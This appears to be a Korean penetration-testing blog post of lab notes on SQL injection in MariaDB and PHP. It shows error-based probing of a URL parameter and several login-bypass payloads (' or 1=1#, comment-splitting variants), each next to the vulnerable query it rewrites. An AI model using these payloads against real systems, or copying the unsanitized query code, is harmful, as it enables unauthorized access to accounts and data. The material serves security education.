########
## SQLi
########
여기서는 MariaDB를 기준으로 한다.
한 줄 주석 : -- , #
여러 줄 주석 : /* ~~~ */
MariaDB [mywebsite]> -- dfaskdfjas;dfa
MariaDB [mywebsite]> # ad,faksdfjasdf;asdfa;
MariaDB [mywebsite]> /*
/*> asdfja;sdfj
/*> adflkaj
/*> fjadk'fa
/*> fja
/*> fja
/*> */
http://192.168.108.101/index.html?id=bbs1'&m=list
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, boolean given in /var/www/html/list.html on line 24
http://192.168.108.101/index.html?id='&m=list
로그인 부분에서 SQLi
userid : admin
userpw : 111111
userid=admin&userpw=111111
loginok.html
$userid = $_POST['userid'];
$userpw = $_POST['userpw'];
$query = "SELECT * FROM member WHERE userid='$userid' and userpass='$userpw'";
SELECT * FROM member WHERE userid='admin' and userpass='111111'
userid : ' or 1=1#
userpw : 1
userid=' or 1=1#&userpw=1
loginok.html
$userid = $_POST['userid'];
$userpw = $_POST['userpw'];
$query = "SELECT * FROM member WHERE userid='$userid' and userpass='$userpw'";
SELECT * FROM member WHERE userid='' or 1=1#' and userpass='1'
userid : admin
userpw : 111111
select * from member where userid = 'admin' and userpass = password('111111'); <-- admin 출력
userid : admin
userpw : refxcxfca
select * from member where userid = 'admin' and userpass = password('refxcxfca'); <-- 출력 없음
userid : ' or 1=1#
userpw : 1
select * from member where userid = '' or 1=1#' and userpass = password('1'); <-- 모든 행 반환
select * from member where 1; <-- 모든 행 반환
실습> SQLi 를 이용해서 로그인하기
userid : ' or 1=1#
userpw : 1
-- loginok.php --
// POST 방식으로 넘어온 userid/userpass 를 DB에서 비교한다.
//$query = "SELECT * FROM $TBNAME WHERE userid='$userid' and userpass=password('$userpw')";
$query = "SELECT * FROM $TBNAME
WHERE
userid='$userid'
and
userpass=password('$userpw')";
-- loginok.php --
아이디 : ' or 1 = 1 #
비밀번호 : 0000
$query = "SELECT * FROM $TBNAME
WHERE
userid='' or 1 = 1 #'
and
userpass=password('0000')";
아이디 : ' or 1 = 1 /*
비밀번호 : */#
$query = "SELECT * FROM $TBNAME
WHERE
userid='' or 1 = 1 /*'
and
userpass=password('*/#')";
아이디 : ' or 1=1 #
비밀번호 : ') or 1=1 #
$query = "SELECT * FROM $TBNAME
WHERE
userid='' or 1 = 1 #'
and
userpass=password('') or 1=1 #')";
아이디 : ' or 1=1 #
비밀번호 : 111111 <-- admin 의 비밀번호 입력
$query = "SELECT * FROM $TBNAME
WHERE
userid='' or 1 = 1 #'
and
userpass=password('111111')";
'Linux > 모의해킹' 카테고리의 다른 글
| 관리자로 로그인하기 (0) | 2022.01.26 |
|---|---|
| SQLi 를 로그를 통해 좀 더 쉽게 분석 (0) | 2022.01.26 |
| CSRF 를 이용한 게시판 글쓰기 2 (1) | 2022.01.25 |
| CSRF 를 이용한 특정 게시글 삭제하기 (0) | 2022.01.25 |
| CSRF 를 이용한 회원 가입하기 (0) | 2022.01.25 |